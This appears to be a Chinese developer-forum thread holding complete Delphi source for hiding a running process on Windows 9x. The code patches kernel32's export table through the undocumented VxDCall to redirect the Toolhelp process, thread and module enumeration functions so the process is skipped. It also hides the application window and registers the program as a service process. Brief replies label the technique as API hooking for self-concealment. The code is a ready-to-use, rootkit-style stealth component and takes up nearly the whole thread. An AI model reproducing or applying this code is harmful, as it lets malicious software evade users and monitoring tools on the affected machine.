unit Unit1;interfaceuses 
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type 
  TForm1 = class(TForm) 
    Button1: TButton; 
    Button2: TButton; 
    procedure Button1Click(Sender: TObject); 
    procedure Button2Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
 private 
    { Private-Deklarationen }
 public 
    { Public-Deklarationen } 
  end; var 
  Form1: TForm1; implementation {$R *.DFM} Const RSP_SIMPLE_SERVICE = 1;
Const RSP_UNREGISTER_SERVICE = 0;const CENEWHDR = $003C;          // offset of new EXE header
     CEMAGIC  = $5A4D;          // old EXE magic id:  'MZ'
     CPEMAGIC = $4550;          // NT portable executable
type  TImageExportDirectory  = packed record 
                                 Characteristics       : dword; 
                                 TimeDateStamp         : dword; 
                                 MajorVersion          : word; 
                                 MinorVersion          : word; 
                                 Name                  : dword; 
                                 Base                  : dword; 
                                 NumberOfFunctions     : dword; 
                                 NumberOfNames         : dword; 
                                 AddressOfFunctions    : cardinal;
                                AddressOfNames        : cardinal; 
                                 AddressOfNameOrdinals : cardinal; 
                               end;
     TPImageExportDirectory = ^TImageExportDirectory;type  TPWord                 = ^word;
     TAWord                 = array [0..maxInt shr 1-1] of word;
     TPAWord                = ^TAWord;
     TACardinal             = array [0..maxInt shr 2-1] of cardinal;
     TPACardinal            = ^TACardinal;
     TAInteger              = array [0..maxInt shr 2-1] of integer;
     TPAInteger             = ^TAInteger;function  RegisterServiceProcess(dwProcessID,dwType : DWORD) : DWORD; stdcall; external 'KERNEL32.DLL';function GetModuleNtHeaders(module: cardinal) : PImageNtHeaders;
begin 
  result:=nil;
 try 
    if TPWord(module)^<>CEMAGIC then exit;
   result:=pointer(module+TPWord(module+CENEWHDR)^);
   if result^.signature<>CPEMAGIC then result:=nil;
 except result:=nil; end; 
end; function GetModuleExportDirectory(module: cardinal) : TPImageExportDirectory; 
begin
 result:=nil; 
  try 
    result:=pointer(module+GetModuleNtHeaders(module)^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 
  except end; 
end; function GetProcAddress_(module: cardinal; ord: cardinal) : pointer; 
var exp : TPImageExportDirectory; 
begin
 result:=nil; 
  try 
    exp:=GetModuleExportDirectory(module); 
    if exp<>nil then 
      with exp^ do 
        if ord<NumberOfFunctions then 
          result:=pointer(module+TPACardinal(module+AddressOfFunctions)^[ord]); 
  except end; 
end; function SetProcAddress(module: cardinal; procName: string; newAdr: pointer) : boolean; 
var exp : TPImageExportDirectory; 
    i1  : integer; 
begin 
  result:=false; 
  try 
    exp:=GetModuleExportDirectory(module); 
    if exp<>nil then 
      with exp^ do 
        for i1:=0 to NumberOfNames-1 do
         if pchar(module+TPACardinal(module+exp.AddressOfNames)^[i1])=procName then begin 
            TPAInteger(module+AddressOfFunctions)^[TPAWord(module+exp.AddressOfNameOrdinals)^[i1]]:=integer(newAdr)-integer(module); 
            result:=true; 
            break; 
          end; 
  except end; 
end; 

解决方案 »

  1.   

    function UnprotectExportTable(module: cardinal) : boolean; 
    var exp     : TPImageExportDirectory;
       size    : cardinal; 
        fa      : cardinal;  // firstAddress 
        fp,np   : cardinal;  // firstPage / numPages 
        vxdcall : pointer; 
    begin 
      result:=false; 
      try 
        // Check for kernel32.dll export table 
        size:=GetModuleNtHeaders(module)^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; 
        if size=0 then exit;
       // Good, we have an export table. Lets get it. 
        exp:=GetModuleExportDirectory(module); 
        // Change protection on kernel32.dll export table (make writable) 
        // (can't use "VirtualProtect") 
        fa:=module+exp^.AddressOfFunctions; 
        fp:=fa div 4096; 
        np:=(((fa mod 4096 + exp^.NumberOfFunctions)*4)+4095) div 4096; 
        dec(fa,fa mod 4096); 
        result:=not IsBadWritePtr(pointer(fa),np*4096); 
        if not result then begin
         // Get undocumented VxDCall procedure 
          vxdcall:=GetProcAddress_(GetModuleHandle(kernel32),1); 
          if @vxdcall=nil then exit; 
          asm 
            push 020060000h           // PC_WRITEABLE | PC_USER | PC_STATIC 
            push 0FFFFFFFFh           // Keep all previous bits 
            push dword ptr [np]       // dword ptr [mbi+0Ch] # of pages 
            push dword ptr [fp]       // dword ptr [ped] page # 
            push 1000Dh               // _PageModifyPermissions (win32_service_table #) 
            call dword ptr [vxdcall]  // VxDCall0
         end; 
          result:=not IsBadWritePtr(pointer(fa),np*4096); 
        end; 
      except end; 
    end; const MAX_MODULE_NAME32 = 255; 
    type TProcessEntry32 = record 
                             dwSize              : DWORD; 
                             cntUsage            : DWORD;
                            th32ProcessID       : DWORD;   // this process 
                             th32DefaultHeapID   : DWORD; 
                             th32ModuleID        : DWORD;   // associated exe 
                             cntThreads          : DWORD; 
                             th32ParentProcessID : DWORD;        // this process's parent process 
                             pcPriClassBase      : integer;      // Base priority of process's threads 
                             dwFlags             : DWORD; 
                             szExeFile           : array [0..MAX_PATH-1] of char;    // Path 
                           end; 
         TThreadEntry32  = record
                            dwSize              : DWORD; 
                             cntUsage            : DWORD; 
                             th32ThreadID        : DWORD;   // this thread 
                             th32OwnerProcessID  : DWORD;        // Process this thread is associated with 
                             tpBasePri           : integer; 
                             tpDeltaPri          : integer; 
                             dwFlags             : DWORD; 
                           end; 
         TModuleEntry32  = record 
                             dwSize              : DWORD;
                            th32ModuleID        : DWORD;        // This module 
                             th32ProcessID       : DWORD;        // owning process 
                             GlblcntUsage        : DWORD;        // Global usage count on the module 
                             ProccntUsage        : DWORD;        // Module usage count in th32ProcessID's context 
                             modBaseAddr         : pointer;      // Base address of module in th32ProcessID's context 
                             modBaseSize         : DWORD;        // Size in bytes of module starting at modBaseAddr 
                             hModule             : HMODULE;      // The hModule of this module in th32ProcessID's context 
                             szModule            : array [0..MAX_MODULE_NAME32] of char; 
                             szExePath           : array [0..MAX_PATH-1] of char; 
                           end;type TProcessWalk = function (snapshotHandle: cardinal; var pe32: TProcessEntry32) : bool; stdcall; 
         TThreadWalk  = function (snapshotHandle: cardinal; var te32:  TThreadEntry32) : bool; stdcall; 
         TModuleWalk  = function (snapshotHandle: cardinal; var me32:  TModuleEntry32) : bool; stdcall; function HookedProcess32First(snapshotHandle: cardinal; var pe32: TProcessEntry32) : bool; stdcall; 
    begin 
      result:=TProcessWalk($22222222)(snapshotHandle,pe32); 
      if not result then exit; 
      while pe32.th32ProcessID=$11111111 do begin
       result:=TProcessWalk($33333333)(snapshotHandle,pe32); 
        if not result then exit; 
      end; 
      result:=true; 
    end; function HookedProcess32Next(snapshotHandle: cardinal; var pe32: TProcessEntry32) : bool; stdcall; 
    begin 
      repeat 
        result:=TProcessWalk($33333333)(snapshotHandle,pe32);
       if not result then exit; 
      until pe32.th32ProcessID<>$11111111; 
      result:=true; 
    end; function HookedThread32First(snapshotHandle: cardinal; var te32: TThreadEntry32) : bool; stdcall; 
    begin 
      result:=TThreadWalk($44444444)(snapshotHandle,te32); 
      if not result then exit; 
      while te32.th32OwnerProcessID=$11111111 do begin
       result:=TThreadWalk($55555555)(snapshotHandle,te32); 
        if not result then exit; 
      end; 
      result:=true; 
    end; function HookedThread32Next(snapshotHandle: cardinal; var te32: TThreadEntry32) : bool; stdcall; 
    begin 
      repeat 
        result:=TThreadWalk($55555555)(snapshotHandle,te32);
       if not result then exit; 
      until te32.th32OwnerProcessID<>$11111111; 
      result:=true; 
    end; function HookedModule32First(snapshotHandle: cardinal; var me32: TModuleEntry32) : bool; stdcall; 
    begin 
      result:=TModuleWalk($66666666)(snapshotHandle,me32); 
      if not result then exit; 
      while me32.th32ProcessID=$11111111 do begin
       result:=TModuleWalk($77777777)(snapshotHandle,me32); 
        if not result then exit; 
      end; 
      result:=true; 
    end; 
      

  2.   


    function HookedModule32Next(snapshotHandle: cardinal; var me32: TModuleEntry32) : bool; stdcall; 
    begin 
      repeat 
        result:=TModuleWalk($77777777)(snapshotHandle,me32);
       if not result then exit; 
      until me32.th32ProcessID<>$11111111; 
      result:=true; 
    end; procedure HookToolhelpEnd; begin end; var oldAdr   : array [0..5] of pointer = (nil,nil,nil,nil,nil,nil); 
        hookCode : pointer                 = nil;function HookToolhelp : boolean; 
    var dll     : cardinal; 
        cs      : cardinal;  // codeSize 
        pid     : cardinal; 
        i1      : integer; 
        pc      : ^cardinal; 
    begin 
      result:=false;
     try 
        dll:=GetModuleHandle(kernel32); 
        if not UnprotectExportTable(dll) then exit; 
        // Get shared memory 
        cs:=cardinal(@HookToolhelpEnd)-cardinal(@HookedProcess32First); 
        if hookCode=nil then 
          hookCode:=VirtualAlloc(pointer($9CDC0000),cs,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
        if hookCode=nil then exit;
       hookCode:=pointer($9CDC0000); 
        // Copy code into shared memory 
        Move(pointer(@HookedProcess32First)^,hookCode^,cs); 
        // Store procedure addresses 
        pid:=GetCurrentProcessId; 
        oldAdr[0]:=GetProcAddress(dll,'Process32First'); 
        oldAdr[1]:=GetProcAddress(dll,'Process32Next' );
       oldAdr[2]:=GetProcAddress(dll,'Thread32First' ); 
        oldAdr[3]:=GetProcAddress(dll,'Thread32Next'  ); 
        oldAdr[4]:=GetProcAddress(dll,'Module32First' ); 
        oldAdr[5]:=GetProcAddress(dll,'Module32Next'  ); 
        // Modify code to correct addresses 
        for i1:=0 to cs-5 do begin 
          pc:=pointer(integer(hookCode)+i1);
         case pc^ of 
            $11111111 : pc^:=pid; 
            $22222222 : pc^:=cardinal(oldAdr[0]); 
            $33333333 : pc^:=cardinal(oldAdr[1]); 
            $44444444 : pc^:=cardinal(oldAdr[2]); 
            $55555555 : pc^:=cardinal(oldAdr[3]);
           $66666666 : pc^:=cardinal(oldAdr[4]); 
            $77777777 : pc^:=cardinal(oldAdr[5]); 
          end; 
        end; 
        // Now we modify the export table to point to our replacement code 
        SetProcAddress(dll,'Process32First',hookCode);
       SetProcAddress(dll,'Process32Next', pointer(integer(hookCode)+integer(@HookedProcess32Next)-integer(@HookedProcess32First))); 
        SetProcAddress(dll,'Thread32First', pointer(integer(hookCode)+integer(@HookedThread32First)-integer(@HookedProcess32First))); 
        SetProcAddress(dll,'Thread32Next',  pointer(integer(hookCode)+integer(@HookedThread32Next )-integer(@HookedProcess32First))); 
        SetProcAddress(dll,'Module32First', pointer(integer(hookCode)+integer(@HookedModule32First)-integer(@HookedProcess32First))); 
        SetProcAddress(dll,'Module32Next',  pointer(integer(hookCode)+integer(@HookedModule32Next )-integer(@HookedProcess32First))); 
        result:=true;
     except end; 
    end; function UnhookToolhelp : boolean; 
    var dll : cardinal;
    begin 
      result:=false; 
      try 
        dll:=GetModuleHandle(kernel32); 
        SetProcAddress(dll,'Process32First',oldAdr[0]);
       SetProcAddress(dll,'Process32Next', oldAdr[1]); 
        SetProcAddress(dll,'Thread32First', oldAdr[2]); 
        SetProcAddress(dll,'Thread32Next',  oldAdr[3]); 
        SetProcAddress(dll,'Module32First', oldAdr[4]);
       SetProcAddress(dll,'Module32Next',  oldAdr[5]); 
        result:=true; 
      except end;
    end; procedure TForm1.Button1Click(Sender: TObject);
    begin 
      HookToolhelp;
    end;procedure TForm1.Button2Click(Sender: TObject);
    begin
     UnhookToolhelp; 
    end;procedure TForm1.FormCreate(Sender: TObject);
    begin
    ShowWindow(Application.Handle, SW_HIDE);
    RegisterServiceProcess(GetCurrentProcessId, RSP_SIMPLE_SERVICE);
    end;end.
      

  3.   


    function HookedModule32Next(snapshotHandle: cardinal; var me32: TModuleEntry32) : bool; stdcall; 
    begin 
      repeat 
        result:=TModuleWalk($77777777)(snapshotHandle,me32);
       if not result then exit; 
      until me32.th32ProcessID<>$11111111; 
      result:=true; 
    end; procedure HookToolhelpEnd; begin end; var oldAdr   : array [0..5] of pointer = (nil,nil,nil,nil,nil,nil); 
        hookCode : pointer                 = nil;function HookToolhelp : boolean; 
    var dll     : cardinal; 
        cs      : cardinal;  // codeSize 
        pid     : cardinal; 
        i1      : integer; 
        pc      : ^cardinal; 
    begin 
      result:=false;
     try 
        dll:=GetModuleHandle(kernel32); 
        if not UnprotectExportTable(dll) then exit; 
        // Get shared memory 
        cs:=cardinal(@HookToolhelpEnd)-cardinal(@HookedProcess32First); 
        if hookCode=nil then 
          hookCode:=VirtualAlloc(pointer($9CDC0000),cs,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE); 
        if hookCode=nil then exit;
       hookCode:=pointer($9CDC0000); 
        // Copy code into shared memory 
        Move(pointer(@HookedProcess32First)^,hookCode^,cs); 
        // Store procedure addresses 
        pid:=GetCurrentProcessId; 
        oldAdr[0]:=GetProcAddress(dll,'Process32First'); 
        oldAdr[1]:=GetProcAddress(dll,'Process32Next' );
       oldAdr[2]:=GetProcAddress(dll,'Thread32First' ); 
        oldAdr[3]:=GetProcAddress(dll,'Thread32Next'  ); 
        oldAdr[4]:=GetProcAddress(dll,'Module32First' ); 
        oldAdr[5]:=GetProcAddress(dll,'Module32Next'  ); 
        // Modify code to correct addresses 
        for i1:=0 to cs-5 do begin 
          pc:=pointer(integer(hookCode)+i1);
         case pc^ of 
            $11111111 : pc^:=pid; 
            $22222222 : pc^:=cardinal(oldAdr[0]); 
            $33333333 : pc^:=cardinal(oldAdr[1]); 
            $44444444 : pc^:=cardinal(oldAdr[2]); 
            $55555555 : pc^:=cardinal(oldAdr[3]);
           $66666666 : pc^:=cardinal(oldAdr[4]); 
            $77777777 : pc^:=cardinal(oldAdr[5]); 
          end; 
        end; 
        // Now we modify the export table to point to our replacement code 
        SetProcAddress(dll,'Process32First',hookCode);
       SetProcAddress(dll,'Process32Next', pointer(integer(hookCode)+integer(@HookedProcess32Next)-integer(@HookedProcess32First))); 
        SetProcAddress(dll,'Thread32First', pointer(integer(hookCode)+integer(@HookedThread32First)-integer(@HookedProcess32First))); 
        SetProcAddress(dll,'Thread32Next',  pointer(integer(hookCode)+integer(@HookedThread32Next )-integer(@HookedProcess32First))); 
        SetProcAddress(dll,'Module32First', pointer(integer(hookCode)+integer(@HookedModule32First)-integer(@HookedProcess32First))); 
        SetProcAddress(dll,'Module32Next',  pointer(integer(hookCode)+integer(@HookedModule32Next )-integer(@HookedProcess32First))); 
        result:=true;
     except end; 
    end; function UnhookToolhelp : boolean; 
    var dll : cardinal;
    begin 
      result:=false; 
      try 
        dll:=GetModuleHandle(kernel32); 
        SetProcAddress(dll,'Process32First',oldAdr[0]);
       SetProcAddress(dll,'Process32Next', oldAdr[1]); 
        SetProcAddress(dll,'Thread32First', oldAdr[2]); 
        SetProcAddress(dll,'Thread32Next',  oldAdr[3]); 
        SetProcAddress(dll,'Module32First', oldAdr[4]);
       SetProcAddress(dll,'Module32Next',  oldAdr[5]); 
        result:=true; 
      except end;
    end; procedure TForm1.Button1Click(Sender: TObject);
    begin 
      HookToolhelp;
    end;procedure TForm1.Button2Click(Sender: TObject);
    begin
     UnhookToolhelp; 
    end;procedure TForm1.FormCreate(Sender: TObject);
    begin
    ShowWindow(Application.Handle, SW_HIDE);
    RegisterServiceProcess(GetCurrentProcessId, RSP_SIMPLE_SERVICE);
    end;end.
      

  4.   

    帮你顶~~~
    windows 核心编程里面有类似的东西
      

  5.   

    没有做过WINDOWS这方面编程,作一下记号。
      

  6.   

    看来一下
    hook api 隐藏自己
      

  7.   

    请问楼主,是不是在NT核心下,取得系统ring0权限的程序?如果是,可真是好东西了!
      

  8.   

    这是通过修改KERNEL32.DLL实现隐藏进程的代码,这种技术应该是很成熟的啦